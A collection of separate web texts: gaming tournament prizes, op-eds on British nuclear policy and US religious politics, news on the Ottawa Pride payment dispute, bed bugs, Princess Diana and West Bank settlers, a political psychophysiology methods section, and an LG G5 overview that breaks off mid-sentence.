-The cycle started with Store Championships, as players faced off against their locals and friends. Later, players made the trip out to Regional Championships, making some great journeys, friends, and stories to tell down the road. National Championships quickly followed and the competition was even fiercer as people traveled from all over to attempt to claim the title. The cycle is nearing completion as the 2016 World Championship approaches. In November, pilots from across the galaxy will gather their squadrons and meet in Roseville, MN in order to determine who will claim the title of X-Wing™ World Champion.  A Competition to Remember  Our World Championships will be an unforgettable experience. We are extremely excited to see world-class competition as hundreds of passionate players make new friends and forge memories that will last a lifetime on the biggest stage. At its core, though, the World Championship is about finding the best player in the world for each of our competitive games. So, ask yourself a question. Can you outmaneuver the rest of the competition and be crowned the 2016 X-Wing World Champion?  Veteran Instincts  In addition to the fantastic items every attendee of the 2016 World Championships will receive, players who do well in the 2016 X-Wing World Championship will have a chance at these fantastic prizes:  Participation: Each player that participates in a 2016 World Championship event will receive a copy of the alt-art card The Inquisitor - a ruthless pilot who flies as if he is constantly on the heels of your foes. After the lunch break, each player in the X-Wing World Championship will receive two additional copies of this card! X-Wing World Championship will receive a challenge coin to commemorate their participation in the event! In addition, each player that plays in theWorld Championship will receive a challenge coin to commemorate their participation in the event!  Day 2 Participants: Each player receives a set of acrylic Weapons Disabled tokens. Locking a ship out of its ability to shoot is a powerful effect and these bright, reflective tokens are sure to remind both players when a ship is not able to bring its weapons to bear!  Top 16: Each player receives a set of metallic colored dice.  Top 8: Each player receives a set of acrylic maneuver templates. These clear frost templates are accented with a bright gold paint and will make a player truly stand out as one of the best in the world.  Top 4: Each player receives an uncut sheet of cards (not pictured) featuring the World Championship promo - The Inquisitor. Our prizes are usually either game components or collector’s items. This unique prize is both!  Winner: The X-Wing World Champion receives the 2016 X-Wing World Champion trophy and a one-of-a-kind playmat to showcase their achievements! Additionally, the Champion will receive The Greatest Prize in Gaming - the chance to design a card for X-Wing!  This and More  These fantastic prizes are not the only reward for attending the 2016 World Championships. Players will also be gaining cherished memories of intense matches, new friends, and the experience of competing at the highest level of play. Keep your eyes on our website for additional information about the event, including live streaming and more!
-In return for covering about one-third of the costs, the Chinese state-run company China General Nuclear Power Corporation will take about one-third ownership in the project. (A subsidiary of E.D.F. owns the rest.) The British government has also provisionally agreed to let China build a yet-untested Chinese-designed reactor in Bradwell-on-Sea, northeast of London, later.  These deals are a major coup for China, which yearns to become a player on the international nuclear market. But they are a risky move for Britain: They give a Chinese state-owned company access to Britain’s electricity grid, even though China is a longtime strategic competitor.  The British government has also guaranteed that investors in the Hinkley project will get $115 per megawatt-hour over 35 years. This is approximately twice the price of electricity today, and it is more than the prices of most major sources of renewable energy, which the International Renewable Energy Agency predicts will drop over the next few decades.  If the market price of electricity falls below that rate, a government company is contractually bound to cover the difference — with the extra cost passed on to consumers. Price forecasts have dropped since the deal was struck: This summer the government, revising estimates, said differential payments owed under the contract could reach nearly $37 billion.  If the Hinkley plan seems outrageous, that’s because it only makes sense if one considers its connection to Britain’s military projects — especially Trident, a roving fleet of armed nuclear submarines, which is outdated and needs upgrading. Hawks and conservatives, in particular, see the Trident program as vital to preserving Britain’s international clout.  A painstaking study of obscure British military policy documents, released last month by the Science Policy Research Unit at the University of Sussex, demonstrates that the government and some of its partners in the defense industry, like Rolls-Royce and BAE Systems, think a robust civilian nuclear industry is essential to revamping Britain’s nuclear submarine program.  For proponents of Trident, civilian nuclear projects are a way of “masking” the high costs of developing a new fleet of nuclear submarines, according to the report. Merging programs like research and development or skills training across civilian and military sectors helps cut back on military spending. It also helps maintain the talent pool for nuclear specialists. And given the long lead times and life spans of most nuclear projects, connections between civilian and military programs give companies more incentives to make the major investments required.
-Mix It Up at Lunch Day is one of those programs that just seems like a nice thing to do.  The idea is that on one day of the school year, kids are invited to have lunch with the kind of kids they don't usually hang out with: the jocks mix with the nerds, lunch tables are racially integrated, et cetera. Sponsored by the Southern Poverty Law Center as part of their Teaching Tolerance division, it arose out of a broad effort to tackle the problems of bullying in the schools and bigotry in society – and it appears to have been effective in breaking down stereotypes and reducing prejudice. Over 2,000 schools nationwide now participate in the program, which is set to take place this year on 30 October.  You can argue about how permanent its effects are, or whether other approaches might be better, but the idea of making new friends in the lunchroom seems utterly benign. Right?  Wrong, as it turns out – at least, according to the American Family Association, a radical rightwing evangelical policy group. Mix It Up at Lunch Day is, in fact, part of "a nationwide push to promote the homosexual lifestyle in public schools", according to the AFA literature. The program "is an entry-level 'diversity' program designed specifically by SPCL (sic) to establish the acceptance of homosexuality into public schools, including elementary and junior high schools," warns the AFA website. "See if your child's school is on the list."  The AFA has urged parents to keep their kids home on 30 October, and claims that at least 200 schools have responded to its charge by canceling the program.  There's a backstory here. The Southern Poverty Law Center, which has fought for civil rights causes since its founding in 1971, conceived and promoted Mix It Up at Lunch as part of their Teaching Tolerance program. The SPLC also, as it happens, named the AFA, along with a dozen other "pro-family" groups, as a "hate group" in 2010, citing, among other factors, AFA's expressed views on same-sex relationships. The "homosexual agenda" is not the only factor in the SPLC's decision to include AFA on the list. AFA's director of issues analysis, Bryan Fischer, has appeared to suggest that what is biblically deemed "sexual immorality" merits punishment by death. He evidently hates Muslims, too, having recently opined that "allowing a mosque to be built in town is fundamentally no different than granting a building permit to a KKK cultural center".  So, now it's payback time. The AFA's jihad against Mix It Up at Lunch Day is its way of saying "I'm rubber, you're glue." It has come up with its own list of boycotts and hate groups, and sure enough the SPLC, on account of its "incendiary language", is on that list.  Funny word games aside, the SPLC is right. It is, by now, well known that the AFA and the kind of interests they represent spread conspiratorial falsehoods about the LGBT community, placing blame for a wide variety of social ills on a "gay agenda". They also seem to support a certain type of bullying and bigotry in public schools – the faith-based kind – and believe there should be more of it.  One example comes from an AFA cultural ally: Gateways to Better Education, formed in 1991 by Focus on the Family in tandem with a rightwing Christian legal advocacy group that calls itself the Alliance Defending Freedom (ADF). Gateways publishes a "Guide for Commemorating Religious Freedom at School". But the freedom Gateways and the ADF have in mind applies only to those who share their religion.  "Religious Freedom Day is not 'celebrate-our-diversity-day,'" members are reminded. Gateways advocates a "Biblical approach to tolerance", which apparently consists of intolerant attitudes toward what the ADF and Gateways call "pro-homosexual education" and "the gay activist agenda". Parents' No 1 goal, they say, should be to "encourage your children to be bolder" in expressing their faith at school.  The far right's fixation on same-sex relationships is so ludicrous that it defines a sub-category of camp. But let's take a step back for a moment. The big question, the one that keeps coming back in every one of these skirmishes in the culture wars, is: why is the loudest religion in American politics today so much about hate?  Consider Mix it Up at Lunch Day from the perspective of the almost limitless other conceptions of the Christian religion that are out there. You could, for example, construe it as an exercise in "loving thy neighbor". You could quote the gospel of John that "God is love." You could view it as part of the religious mission of charity. I have no doubt that there are countless Christian and non-Christian people in the US who would view Mix It Up Day in just this way.  So why does the form of religion that seeks to claim the term "Christian" in the political realm have to focus so relentlessly on a "gay conspiracy" – not to mention sexually active singles and the purely evil Muslims?  I don't believe for a moment that this hysterical voice that screeches in America's political sphere is the authentic voice of religion in America. Most religious Americans want to mix it up at lunch! They want to make friends across party lines, and they want to help people who are less fortunate. A survey by the Public Religious Research Institute, released on 24 October, reveals that 60% of Catholics believe the Church should place a greater emphasis on social justice issues and their obligation to the poor, even if that means focusing less on culture war issues such as abortion and same-sex marriage. Earlier this year, in response to the Ryan budget, the United States Conference of Catholic Bishops joined other Christian leaders in insisting that a "circle of protection" be drawn around "essential programs that serve poor and vulnerable people".  So why is it that the so-called "values voters" are urged to vote against the politician who supports choice, not the politician who wants to shred that "circle of protection" for the poor and vulnerable? Why is it that when politicians want to demonstrate just how religiously righteous they are, they talk about banning same-sex marriage and making contraceptives hard to get, instead of showing what they have done to protect the weak?  There is an obvious answer, and it is, in a sense, staring you in the face every time you watch a political debate or read about the latest antics of Focus on the Family and the AFA. The kind of religion that succeeds in politics tends to focus on the divisive element of religion. If you want to use religion to advance a partisan political agenda, the main objective you use it for is to divide people between us and them, between the in-group and the out-group, the believers and the infidels.  The result is a reduction of religion to a small handful of wedge issues. According to the religious leaders and policy organizations urging Americans to vote with their "Biblical values", to be Christian now means to support one or, at most, a small handful of policy positions. And it means voting for the Republican party.  This type of rhetoric is also championed by a segment of Jewish conservatives. Alarmed that Obama won 78% of the Jewish vote in 2008, they accused Democratic Jews of being "Jinos" – Jews In Name Only. "They eat bagels and lox; they watch 'Schindler's List,'" writes Town Hall columnist Ben Shapiro, "but they do not care about Israel" – at least, not in the way that Shapiro thinks we should.  When religion is thus reduced to a single policy decision and support for a political party, it becomes shrill and bigoted. This abuse of religion for political purposes has been tremendously damaging for American politics. But it is worth pointing out that it has been destructive of religion, too. According to another poll this month, this one by the Pew Research Center, record numbers of Americans are now reporting that they have no particular religious affiliation. Perhaps that is because, right now, the God of hate seems to be shouting louder than the God of love.
-Organizers of Ottawa’s Capital Pride festival say they are investigating “accounting irregularities” amid allegations by two suppliers and a DJ that their cheques have bounced and that they haven’t been paid for their services.  Guillaume Tasse said he has been given the runaround by festival organizers since he went to collect $42,000 he said he was owed after last month’s festival. Tasse isn’t alone. Sebastien Provost, the executive producer and president of production company House of SAS, said he’s out about $24,000 after he bought liquor for the festival only to later be told by his bank the cheque he received was no good.  Montreal DJ Stephan Grondin said he, too, is owed thousands of dollars after his bank told him the cheque he received from the festival didn’t clear.  Provost and Tasse said they have both filed complaints with Ottawa police.  Organizers for the Capital Pride festival weren’t talking Thursday, but in a short news release they said they were investigating “accounting irregularities that have come to light upon review of its post-festival finances” and said a police investigation “may be pending.”  Tasse said his attempts to collect on a bill for providing a stage, tents, toilets, tables, chairs and other infrastructure have not been successful. He initially approached Capital Pride festival’s treasurer, Giselle Gardipy, he said, but a meeting they set for Monday, Aug. 25, did not take place.  Tasse said he was told by board members that Gardipy was in hospital but that they had no other details.  The Citizen’s attempts to reach Gardipy, who was the first aboriginal person to win the title of Miss Gay Ottawa in 2005 and Queen of Capital Pride in 2006, were unsuccessful Thursday. Gardipy’s given name is Daryle.  Tasse said the chair of Capital Pride’s board of directors subsequently told him the board would have no further contact with him. Tasse said he and the other supplier have made continued attempts to contact the board to no avail. Tasse alleges that the $10,000 deposit cheque he was provided has bounced.  Production manager Provost said he deposited the nearly $24,000 cheque from the festival into his own account before buying the alcohol for the festival weekend. It wasn’t until the following Wednesday that he learned his account was overdrawn by about $15,000 because the cheque never cleared.  “I’m devastated and I’m broke,” said Provost, who said he volunteered his time to run the production and used his connections to book the performers.  Provost said he last spoke with Capital Pride’s treasurer on Aug. 26.  “We sent multiple emails, we tried calling them for multiple days after that, and there was no answer. No one returned our email,” said Tasse.  Montreal DJ Grondin said he, too, has had a hard time getting answers.  “Right now at the Capital Pride you can’t leave a message because the voice mail box is full,” he said.  Provost, who himself once chaired the Capital Pride board of directors, said he fears the situation may have undone all the good accomplished by this year’s festival. Organizers said 110,000 people came to Bank Street to see this year’s parade.  Tasse and Provost both said they offered to work with festival organizers if they were facing financial problems.  “We can talk. We can figure it out,” Tasse said he offered. “That was ignored completely.”  “I feel betrayed because we tried to help that event and support them. I gave them a $10,000 sponsorship,” said Tasse.  In their news release Thursday, Capital Pride organizers vowed to “continue to uphold its transparency with the LGBT community and its allies as details surrounding this situation emerge.”  Capital Pride chair Jodie McNamara declined an interview request, citing the advice of their lawyer. Assistant treasurer Stephanie Lavergne also declined to answer questions about the suppliers. Board secretary Rob Swartz wouldn’t comment.  Meanwhile, Mayor Jim Watson was not available Thursday evening to comment on the issue, but his spokesman, Brook Simpson, said the mayor was “disappointed to see that there have since been alleged issues related to payment and hopes that all parties involved can come to an amicable agreement quickly.”  aseymour@ottawacitizen.com  twitter.com/andrew_seymour
-ATLANTA — Chicago tops the 2014 Bed Bug Cities List for the third year in a row. The list, released by Orkin, ranks the cities by the number of bed bug treatments Orkin performed from January to December 2014. Bed bugs were in the news throughout 2014 in the Windy City, with reports of the blood-sucking insects on public transit and inside several downtown office buildings, as well as in police headquarters, a fire station, school, library and movie theater.  "Bed bugs are a serious issue across the country, and they're very difficult to control," said Orkin Entomologist and Technical Services Director Ron Harrison, Ph.D. "Bed bugs are not limited to any level of cleanliness or income, which means they can be found in any home or hotel. They're great hitchhikers, and people often bring them inside on their clothes or in their luggage."  Seven cities made double-digit jumps on Orkin's Bed Bug Cities List compared to 2013, including Omaha, Neb. (+16), Lexington, Ky. (+16), Sacramento, Calif. (+14), Grand Rapids, Mich. (+13), Buffalo, N.Y. (+12), Charleston, W.Va. (+11) and Louisville, Ky. (+10). Several cities also dropped significantly in the past year, including Syracuse, N.Y., San Diego, Miami, Greenville, S.C. and Atlanta. Four cities made the Bed Bug Cities List for the first time including Myrtle Beach, S.C., St. Louis, Bowling Green, Ky. and Ft. Wayne, Ind.  Chicago Detroit (+2) Columbus, Ohio Los Angeles (-2) Cleveland – Akron – Canton, Ohio (+1) Dallas – Ft. Worth (+7) Cincinnati (-2) Denver (+1) Richmond – Petersburg, Va. (+2) Dayton, Ohio (-3) Indianapolis (-1) Houston (+4) Seattle – Tacoma (+5) Washington , District of Columbia – Hagerstown, Md. (-6) Milwaukee (+6) San Francisco – Oakland – San Jose (+3) Raleigh – Durham – Fayetteville, N.C. (-5) New York (-1) Charleston – Huntington, W.Va. (+11) Grand Rapids – Kalamazoo – Battle Creek, Mich. (+13) Omaha, Neb. (+16) Louisville, Ky. (+10) Nashville, Tenn. Lexington, Ky. (+16) Atlanta (-10) Buffalo, N.Y. (+12) Sacramento – Stockton – Modesto, Calif. (+14) Syracuse, N.Y. (-14) Boston – Manchester (-9) Charlotte, N.C. (-5) Baltimore (-4) Phoenix – Prescott (-4) Miami – Ft. Lauderdale (-11) Knoxville, Tenn. (-3) Cedar Rapids – Waterloo – Dubuque, Iowa (-6) Minneapolis – St. Paul (+8) Hartford – New Haven, Conn. (+3) Champaign – Springfield – Decatur , Ill. (-3) San Diego (-13) Lincoln – Hastings – Kearney, Neb. (-1) Kansas City, Mo. (+9) Honolulu (+3) Albany – Schenectady – Troy, N.Y. Colorado Springs – Pueblo, Colo. (-2) Myrtle Beach – Florence, S.C. St. Louis Greenville – Spartanburg, S.C. – Asheville, N.C. (-11) Bowling Green, Ky. Ft. Wayne, Ind. Toledo, Ohio (-4)  Bed bugs are in every region of the country, and Orkin has treated for bed bugs in all 50 states. Rollins, Orkin's parent company, saw an 18 percent increase in bed bug revenue in 2014. The problem is growing nationwide as well. According to an annual report on the pest control industry, Americans spent $446 million to get rid of bed bugs in 2013, the latest data available, compared to $70 million in 2004.
-What kind of paper and glue do I use?  What's the difference between this and the AR V3?  Can it actually cycle a cartridge like one of tacome1942's models?  Can I attach accessories from other models to the rails?  Build a paper model of the Hk416 carbine.This model is 1:1 scale, consists of several distinct parts that can be disassembled, and includes a collapsible stock and moveable bolt carrier.In addition to the rifle, some accessories like a foregrip, various ironsights, an ACOG optic, and an AN/PEQ-15 laser/IR module are included.The receivers and magwell are compatible with the PM AR V3. The download package contains instruction photos in addition to pattern pages in black, tan, and white.90-lb or 185-g paper, and regular white paper glue. Tacky glue also works, and dries faster, but may have more volume.The images (1700x2200), while larger than a page, turn out the same size on letter and A4 paper if automatically resized to printable area.Besides the Hk416 style details, the stock is attached via a much sturdier buffer tube, and the barrel is significantly strengthened as well.No. The moving parts do not replicate 100% functionality, they're just there for appearances.Sure. The rails are pretty close to 1:1, so it's even possible to put real accessories on them (although this isn't recommended because the weight would break them off).
-The Prince’s Trust today sent out an email containing a quote from Benedict Cumberbatch thanking everyone who was kind enough to donate to our fundraiser this year in honour of The Princes Trust.  Benedict said:  “I’m so proud of my fans and the importance they’ve seen in helping a cause I am so fervently enthralled to.  I’ve been incredibly fortunate over the years. I always knew that I wanted to work as an actor and have been extremely lucky to get where I am today. It hasn’t been without hard work and determination, but a key ingredient to anyone’s self-confidence and personal success, is the support and guidance that comes from having a role model.  I also know that many young people don’t have such opportunities. With no role model, life can be daunting and self-esteem can drop making it harder to ask for help. It’s a vicious cycle. That’s why I am a Prince’s Trust Ambassador – believing every young person deserves a chance in life is a vision we both share.”
-Human physiology is amazingly diverse. The body has many systems and changing activity levels in one system often do not correlate well with changing activity levels in another. We will employ just one of these many measures but readers should bear in mind that additional measures will be necessary before more complete assessments are possible. The particular physiological measure we employ is based on EDA. EDA manifests itself as small increases in the secretion of sweat at various points on the body; most research, including our own, measures EDA at the fingertip (see Dawson et al. 2007). EDA is especially appropriate for our purposes because other physiological systems, such as the cardio-vascular, lie under control of both the sympathetic nervous system (SNS) and the parasympathetic nervous system. EDA, on the other hand, lies entirely under SNS control (Dawson et al. 2007). As a result, EDA increases are widely accepted in the psychophysiological community as reliable indicators of arousal (Kreibig 2010) and as linking closely “with the psychological concepts of emotion, arousal, and attention” (Dawson et al. 2007). The highly questionable use of EDA as an indicator of whether or not a single, designated individual is telling the truth should not be confused with its acknowledged value as an indicator of the situations under which a group of people, on average, is physiologically aroused.  EDA has been widely used in the field of psychophysiology to get at, for example, overall cognitive engagement with one’s environment (Nikula 1991), task vigilance (Dawson et al. 1989), and conditioned anxiety among those individuals suffering from post-traumatic stress disorder (Blechert et al. 2007). In terms of political behavior more specifically, EDA has been used as a measure of disgust response that predicts support for sexual morality policy (Smith et al. 2011a), as a gauge of threat response to predict support for socially protective policies (Oxley et al. 2008), and as a measure of anxiety in the face of negative political campaigning (Mutz and Reeves 2005).  It should be noted that, in and of itself, EDA is incapable of indicating valence (and this is one of the reasons it is problematic as a lie detector). Both an image of a snake and an image of a loved one typically increase EDA. Though this situation can be a problem for some research designs, the goal here, as stated above, is to acquire a broad measure of physiological response and not one that is keyed to, or strives to measure, responses to a discrete category of stimulus content. Thus, to obtain our measure of broad EDA response, we recorded mean changes in EDA of each participant occasioned by the presentation of a lengthy series of very diverse still images. We know the stimuli were diverse because an independent panel of 126 individuals rated their own emotional responses to these images in terms of valence, with one being “happy/positive feelings” and nine being “unhappy/negative feelings,” and also on intensity, with one being “no reaction” and nine being a “strong reaction.” The valence ratings ranged from a mean of 1.83 (SD = 1.178) for an image of a sunset to 8.42 (SD = .924) for an image of an anorexic woman. Strength of emotional reaction ranged from a mean of 2.79 (SD = 2.01) for a clean toilet to 8.11 (SD = 1.208) for the anorexic woman. The raters also were asked to select specific emotions that were elicited by each image, which resulted in an assortment of reported, evoked emotions, including happiness, disgust, satisfaction, amusement, anger, fear, sadness and anxiety. The ratings show that the images selected for presentation run the gamut from decidedly positive (sunset, bowl of fruit, smiling child, cute animals) to decidedly negative (wounds, vomit, physical fights and dangerous animals). Each image appeared for 12 s on a computer screen directly in front of the participant and was preceded for approximately 10 s by a fixation point on a blank screen.  Because individuals vary dramatically in their pre-stimulus EDA levels, and because our focus is on the degree of response, we constructed a ratio of change in EDA for each individual by dividing the average skin conductance level (SCL) during presentation of each stimulus by the SCL obtained during the previous inter-stimulus interval (or ISI). Thus, at stimulus onset, increases in SCL relative to the previous ISI provide a ratio above 1, while decreases will produce a ratio below 1. We then calculated overall tendency to display physiological arousal by computing the mean change in this ratio across all non-political images for each participant. These procedures are standard in EDA analyses and the mean magnitude of the EDA response we recorded for our sample is typical (see Dawson et al. 2007). What is perhaps less typical is our practice of averaging this response across such a wide range of images in order to get a broad measure of EDA responsiveness. As argued above, however, we believe that doing so will provide both useful information on its own and also serve as a valuable baseline against which physiological responses to particular categories of stimuli can be compared.  Our basic measure of political participation was obtained from a survey that participants completed long before the physiological exercise. Participants were presented with 11 items bearing on political participation, with a particular bent toward issue-driven participation: “how often do you discuss issues with other people,” “are you registered to vote,” “do you usually vote in elections,” “do you feel strongly about political issues,” “have you voted for particular candidates because of their position on a political issue,” “have you campaigned for particular candidates,” “have you contributed money to particular candidates,” “have you contacted elected officials to encourage them to support a position on a political issue,” “have you tried to persuade other citizens to support a position on a political issue,” “have you joined an organization that promotes a position on a political issue,” and “have you attended meetings that promote a position on a political issue.” The item gauging frequency of political discussion was a five-point scale but all of the others were dichotomous “yes–no” items. Each of the individual items was standardized and factor analyzed using principal-components factoring, with the overall measure of political participation created by multiplying respondents’ scores on each item by its factor loading and summing the products of the individual participation items together.2 Weighting the individual participation items by their factor scores makes it possible to create a participation index that includes only the items’ shared correlation with the underlying construct of political participation while discarding the portion of covariance not explained by that construct.3  Participants in this project were obtained in the following manner. We contracted with a professional survey organization to randomly contact individuals within convenient distance from Lincoln, Nebraska, to see if they would be willing to travel to our lab for a 90 min session in exchange for $50. In this fashion, 200 subjects were recruited and completed an extensive, computer-based survey of their political beliefs, personality traits and demographic characteristics. This is the survey that included the items on political participation mentioned above. It was intended that these participants would serve as a pool from which we could recruit smaller groups for physiological testing as money and lab time became available. Several months after the larger group completed the survey, 37 individuals with relatively strong political ideologies (either liberal or conservative) were invited back. A year later 51 additional participants from the pool were invited back, with this group consisting of some who were politically disinterested and uninvolved and others who were more engaged in the political process. We make no claim that these 88 individuals constitute a random sample. Their willingness to travel to participate in lab exercises on two separate occasions, for example, is an obvious source of bias. Still, for our purposes recruiting a purely random sample is less crucial than securing a group of people with a wide range of political participation levels.  On the second trip, research participants were brought to our physiology lab one at a time and sensors measuring EDA were attached to the distal phalanges (fingertips) of the index and middle fingers on participants’ non-dominant hand. After an acclimation period, the series of images was presented. The participant was not required to perform any behavioral task—only to pay attention to the images on the screen. Data from two participants were not usable. One was discovered to have a health problem and the readings for the other were corrupted perhaps because of a misplaced or malfunctioning sensor.
-Image copyright EPA  Tributes are being paid to Princess Diana on the 20th anniversary of her death.  Dubbed the "people's princess" by then prime minister Tony Blair, she died after a car crash in Paris on 31 August 1997 aged 36.  On Wednesday, her sons - Prince William and Prince Harry - visited the growing floral tributes being left at Kensington Palace.  Harry told members of charities Diana supported, "all of us lost somebody".  The princes are marking the anniversary in private, but other public services are taking place across the UK - including at East London's Mildmay Mission Hospital, which the princess regularly visited when it was a hospice caring for HIV patients.  Former members of staff will share their memories of her, alongside the hospital's patron, actress Linda Robson, and dancer Wayne Sleep, who performed with the princess.  Media playback is unsupported on your device Media caption William and Harry greeted people and looked at the flowers left outside Kensington Palace  Members of the public have been visiting Kensington Palace, where Diana had lived for more than 15 years during her marriage to Prince Charles and after their divorce.  BBC News correspondent Mark Lobel spoke to Terry - who had met the princess through his charity work - as he laid roses for her outside the gates.  "It was a privilege [to meet her]," he said. "I was under Waterloo Bridge, giving out blankets and food to the homeless. I don't know what made her come, but she looked down at us all and we were all amazed, just like a little angel came out.  "She spoke to us all. She was very sweet. It was unbelievable. Everybody gave her a smile and she gave them a lovely smile too."  Media playback is unsupported on your device Media caption Jennie Bond: 'It was a kind of mass hysteria'  Speaking to the BBC's Sophie Long, John - who had been at Kensington Palace since early morning - said Diana "brought happiness to everyone."  "It is important for us to be here," he added. "Princess Diana always ran to the crowd, embraced you and picked you up. No other royal has ever done that."  'A surreal atmosphere'  Image copyright EPA Image caption People left tributes near to the Alma Bridge tunnel where the crash happened 20 years ago  By Hugh Schofield, BBC News Paris correspondent  There are quite a few people at the unofficial Diana memorial at the Alma Bridge tunnel today. But most, you sense, are passers-by attracted by the TV cameras.  The days of pilgrimage to the scene of her death are long gone - which is as it should be.  For those of us who were in France at the time, the 20th anniversary has been a moment to cast back one's mind, and recapture the somewhat surreal atmosphere that surrounded the whole affair.  Partly it was a sense of wonder at the sheer unlikelihood of it all, partly it was excitement and partly it was just plain sadness.  An old friend, Tim Livesey, was embassy press officer at the time, and drove with the ambassador to the hospital late in the night.  He remembers the doctor coming out at four in the morning and uttering the words: "Elle est morte."  He told me: "I will never forget the way he said the word 'morte'. It was like a glass smashing on a marble floor. It was the end."  Deborah Gold, chief executive of the National Aids Trust, said the princess had raised understanding and changed minds with her charity work.  "[Diana] was responsible for one of the biggest shifts in public attitudes towards Aids by being really willing to talk to people, touch people and to shame public attitudes," she said.  "There was such a high level of misinformation about HIV and a real fear of people living with HIV that made lives for them extremely difficult.  "She just challenged that so powerfully at Middlesex Hospital where she shook the hand of the man living with HIV and showed how ridiculous those fears were."  Sir Elton John, a close friend of Diana's and fellow HIV and Aids campaigner, paid tribute to her on Instagram.  The singer, who performed an alternative version of his song Candle In The Wind at her funeral, posted a picture of the two of them and wrote: "20 years ago today, the world lost an angel. #RIP"  Image copyright Reuters Image caption Members of the public are laying tributes at Kensington Palace  Ken Wharfe, a personal protection officer to the princess and a bodyguard to her two sons, said her children always came before her royal duties.  "Work certainly broke a new mould in terms of royal duty," he told the Victoria Derbyshire programme. "But behind all that, wherever we were in the country or abroad, it was, 'I must get back and see my boys'. That was always crucial in her life.  "She generated the fun with her kids, but also with us on tour. She was almost the entertainment manager and she would always find something to make people laugh.  "William and Harry… are using their mother's template because they know it is one that works. It was her work ethos that endeared her to the public."
-Some 50 settlers and right-wing activists entered a key West Bank military base early Tuesday morning and threw rocks, burned tires, and vandalized military vehicles.  The settlers were acting in response to a rumor that the IDF would act to evict a West Bank settlement in accordance with an August Supreme Court ruling.  Settlers near the outpost of Givat Menachem, 2010. Haggai Ofen  What do you think of the attack on the IDF base? Visit Haaretz.com on Facebook and share your views.  In the attack on the Efraim Regional Brigade's base near the West Bank city of Qalqilya, right-wing activists threw stones at region's brigade commander and his deputy after forcefully opening the door to their jeep. The brigade commander was lightly wounded after a stone hit his head.  In addition to the attack on the IDF base, right-wing activists blocked a main West Bank road and threw stones at passing Palestinian vehicles and IDF soldiers in the area.  Around 100 right-wing activists and settlers came to the area of the base before 50 of them enetered the base, according to the IDF spokesman.  The youths were repelled by security forces. No arrests were made.  Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait… Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. Close  Earlier during the night, the IDF and police rushed to the otherwise quiet border with Jordan after a group of 17 right-wing activists, three of them minors, occupied structures near the border. The activists said the action was intended as a message to Jordanian authorities to keep out of Temple Mount affairs.  The IDF and police surrounded the activists, who were hilltop youth, and prepared to evacuate. Four other activists were arrested before joining the group on the border.  The activists seized abandoned churches near the Qasr al-Yahud holy site, which is the believed site of Jesus' baptism.  The activists, accompanied by television crews, cut their way through a fence that used to protect a minefield surrounding the area, before it was cleared by Israeli security forces. The activists danced near the structures, entered one of the churches and chanted songs. They were all arrested.  In another incident overnight Tuesday, a group of five Breslov entered Joseph's Tomb in the West Bank to pray without permission. Palestinian security forces opened fire, but no one was hurt.  A similar incident took place in September, when unknown perpetrators infiltrated a base in the Binyamin region and snuck their way to a mechanics workshop on site, where they slashed the tires and cut the cables of twelve army vehicles.  The settlers were galvanized into action by rumors that the eviction of several West Bank settlements was imminent. The Supreme Court ruled in September that the state must destroy Migron, the largest outpost in the West Bank. Forty-five families live in Migron, which has a total population of 280 people.  Read this article in Hebrew
-The LG G5 was officially unveiled at Mobile World Congress 2016 in Barcelona and has since become available to pre-order in the UK.  It seems LG making quite a large departure from the G3 and G4 handsets that came before, so is definitely one that should pique your interest if you're in the market for a new phone.  There's a new design, a shift in focus and a number of innovative features that LG hopes will help the G5 hit the big time. LG launched this phone saying it wasn't about the numbers. But it is about doing, it is about experiences, and it is about playing.  With that all in mind, here's everything you need to know about the new LG G5.  The LG G5 shifts the design away from LG's trusted plastics of past generations and now focuses on metal, launching its first metal unibody handset.  Much of the sculpting of previous handsets has also been ditched: there's no nature-inspired curve here. Instead there's a phone that measures 7.7mm thick depending on where you look. The volume controls move to the side, leaving a power button with embedded fingerprint scanner on the back.  READ: LG G5 review: Modular misfire?  But that's not to say this handset lacks character: there are soft curves to make it comfortable to hold, and a luscious curve at the top of the display that looks great.  The shape is likely to be the least talked about aspect of the LG G5 design though. Instead, the modular nature of the phone will be the hot topic. Depressing a small button on the side at the bottom releases the bottom section of the phone and lets you remove the battery. It's still all metal, but innovatively done.  It's that removable section that can be switched to add different modules, called Friends, to change the skills of the LG G5.  The LG G5 features a 5.3-inch display with 2560 x 1440 pixel resolution, 554ppi. It's not the largest display around on a handset this size, but it's still offering a cracking resolution.  It's a IPS LCD panel, which LG says is important for the Always-on feature that the G5 offers. This will give you information on the display without you having to wake it up. If this was an AMOLED display, showing that information all the time would lead to burn out.  READ: LG G5 vs LG G4: What's the difference?  LG has redesigned this display however, so it offers a partial on/off state which it uses for the Always-on function. It's able to do so without using the G5's application processor, so it keeps power consumption to a minimum. LG says that the display will only use 0.8 per cent battery per hour in Always-on mode.  The LG G5 shakes up the camera dramatically, pairing a 16-megapixel sensor with a second 8-megapixel sensor. It retains the normal laser autofocusing, but looks to offer a range of new functions with this new pairing of cameras.  Firstly, the 16-megapixel camera will operate as a standard camera, taking your high resolution shots exactly as you'd expect. The second camera, however, has a 135-degree lens, so will take wide angle photos.  READ: LG Cam Pro: Get a grip on mobile photography  The idea is to let you easily fit more into a shot, without having to use a stitched panorama. It's ideal for things like city scenes or anywhere you want to get more into the picture.  It's not designed to compete with pro-spec wide angle shots, it's simply designed to be practical and fun. Switching from one camera to the other is easy within the new app.  There are also a range of additional functions offered that use both cameras. You can record video and stills at the same time, you can have a number of different framing effects and plenty more.  The LG G5 features the new Qualcomm Snapdragon 820 octa-core chipset with 4GB of RAM. There's 32GB on internal storage, along with a microSD card slot for expansion.  The LG G5 battery has a capacity of 2800mAh which isn't huge, but uniquely for a metal handset, you'll be able to switch that out yourself by removing the bottom of the phone and sticking in a new battery.  There's no wireless charging on offer, but you do get Quick Charge 3.0 and USB Type-C.  As we mentioned, there's a fingerprint scanner on the rear of the handset.  The big play with the G5 is in the domain of accessories. Using that removable bottom section, you'll be able to change the skill set of your phone by swapping modules.  There's the LG Cam Plus which is designed to enhance the camera experience. You simply remove the bottom of the phone and put the Cam Plus module in its place and you have a range of additional features. Firstly it expands the battery to 4000mAh for all-day shooting, but it also adds buttons and a better grip, for a more natural camera experience. It will cost £69.  The LG Hi-Fi Plus is a module developed in partnership with B&O Play, offering a 32-bit DAC and amp, designed to give you an audiophile experience from your handset. Again, you simply swap the bottom module of the phone for the Hi-Fi Pro module and you'll be ready for better quality audio. It will cost 